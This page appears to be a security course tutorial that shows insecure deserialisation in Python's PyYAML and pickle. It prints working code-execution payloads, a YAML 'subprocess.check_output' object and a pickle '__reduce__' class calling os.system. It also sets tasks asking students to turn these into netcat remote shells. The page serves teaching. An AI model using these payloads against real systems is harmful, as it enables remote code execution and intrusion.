Skip to content

Insecure Deserialisation

Insecure Deserialization: Examples

In the previous section we introduced Insecure deserialization. Now we will example some practical examples, discuss some payloads, and see the impact of the attack.

Example: PyYaml

YAML1 (Yet Another Mark-up Language) is a common text based serialisation language. There are YAML parsers for most popular programming languages (python, PHP, JavaScript etc). We have been using examples of YAML throughout the course in the docker-compose.yaml files. YAML is also a superset of JSON, with the ability to create new objects through introspection.

PyYaml is a python parser for YAML files. It is commonly used to load configuration information.

Taking a look at the PyYAML homepage we can see a warning about not trusting user input with certain methods.

Note

This is common to most YAML interpreters (and is a critisim of the language) The ablility to construct objects is really useful, so should be included.

However, its also dangerous, if we run untrusted data through it.

Its a good ballance keeping the functionality, offering a safe method and sticking a Big Red Warning(TM) in the source code.

PyYaml Working properly.

Lets take a look at PyYAML working properly.

Note

You can find a copy of the code in the 6005 Codebase Repo

The First code Example, creates a user object, and dumps it as a YAML string

import yaml

class User:
    def __init__(self, name, email, data=None):
        """
        Create a User
        Optional Data
        """
        self.name = name
        self.email = email
        self.data = data

def dumpUser():
    """Example 1 Create and Dump a user"""
    theUser = User("Dang", "Dang@evil.org")
    #Turn the User into YAML
    out = yaml.dump(theUser)
    print(out)

Running the Code gives us the following output.

!!python/object:__main__.User
data: null
email: Dang@evil.org
name: Dang
  • !!python/object:__main__.User

    Tells the parser, the the next set of data is an python object of type user

  • email: Dang@evil.org and name: Dang The next lines give the parameters of the object.

Now the interesting part of this is the !!python/object bit. This tells the processor that we are dealing with an object, and gives us some idea of how to reconstruct it.

the restoreUser() function shows us how we can get our user back from the string

def restoreUser():
    """Example 2: 

    Demonstrate how to restore a user
    """

    theStr="""
!!python/object:__main__.User
data: null
email: Dang@evil.org
name: Dang
"""

    theUser = yaml.load(theStr)
    print(theUser)

Breaking YAML

Important

Some of this is fixed in pyyaml > 5.2

However, while the safe loader is better behaved (ie it wont create objects using the global scope)

Now we know how the YAML formatting works, lets see how to break it. We know that we can supply Objects using !!python syntax

So our question now becomes "what kind of objects can we reconstruct" The answer here depends on what is available within pythons global namespaces.

If the python interpreter knows about a module, then the YAML interpreter is able create new items of that type.

Danger

This includes modules imported by the yaml parser.

The Subprocess module is one of these which can let us System commands Thus RCE shouldnt be too difficult

For example Lets mangle the yaml payload so we display the current username. For this we can use the built in whoami command

evilStr = """
!!python/object:__main__.User
data:  !!python/object/apply:subprocess.check_output ['whoami']
email: dang
name: dang
"""

out = yaml.load(evilStr, Loader=yaml.Loader)
print(out.data)
b'kali\n'

Task

We have seen how we can run system commands using the YAML parser. Try to get a remote shell betwen you systems. Netcat should help you here.

Tip

We can use the python interpreter to help us work out our payloads

For example to create an object that sleeps for N seconds when

#Load an object with our desired payload
import time
user = User("dang","dang", time.sleep )

#Dump it.
print(yaml.dump(user))
!!python/object:__main__.User
data: !!python/name:time.sleep ''
email: dang
name: dang

Abusing Pythons Pickle Objects

Pickle is pythons own serialisation format, and is used to convert python objects into byte steams for transmission between devices.

Lets take a quick look at the pickle process for our user class

import pickle
import os   #Import OS for a demo

class User:
    def __init__(self, name, email, data=None):
        """
        Create a User
        """
        self.name = name
        self.email = email
        self.data = data

    def __str__(self):
        """Print the User"""
        return "User: {0} {1} {2}".format(self.name,
                                          self.email,
                                          self.data)


if __name__ == "__main__":

    #Create a user
    theUser = User("dang", "dang@evil.org")

    #Pickle him
    out = pickle.dumps(theUser)
    print(out)
    #Reload the object using the string we just created
    newUser = pickle.loads(out)
    print(newUser)

As you can see when you run the code, python is able to load the data from the string and presents us with a copy of the object.

Abusing Pickle

Next lets see how we could abuse pickle for fun and profit.

Like YAML by default pickle knows about objects in our namespace, and is able to recreate objects that it knows about.

This means that we could (if the right imports are there), create a malicious payload, then pass it to the loader to execute commands.

Our first way of doing this is to create our own command, then have it execute the payload. We know from the Remote Code Execution that pythons os.system can let us run Operating system level commands. So we create a new malicious object that looks something like this.

Note

There is a bit of python magic going on here.

The reduce method is used internally by pickle to serialise the object.

By speficing our system command as a payload, we tell pickle to run it when it comes to serialising the code

class EvilClass:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

Now when we de-pickle the file, we get code execution

    payload = EvilClass()
    saveObject("evil.pkl", payload)

    #Now load the evil class
    print ("Loading our Evil Class")
    out = loadObject("evil.pkl")

>>> kali

Task

The code example above just displays the users name. Modify the example to get a remote shell (Netcat will help)

Further Reading

Insecure Deserialization in Node Js https://medium.com/@chaudharyaditya/insecure-deserialization-3035c6b5766e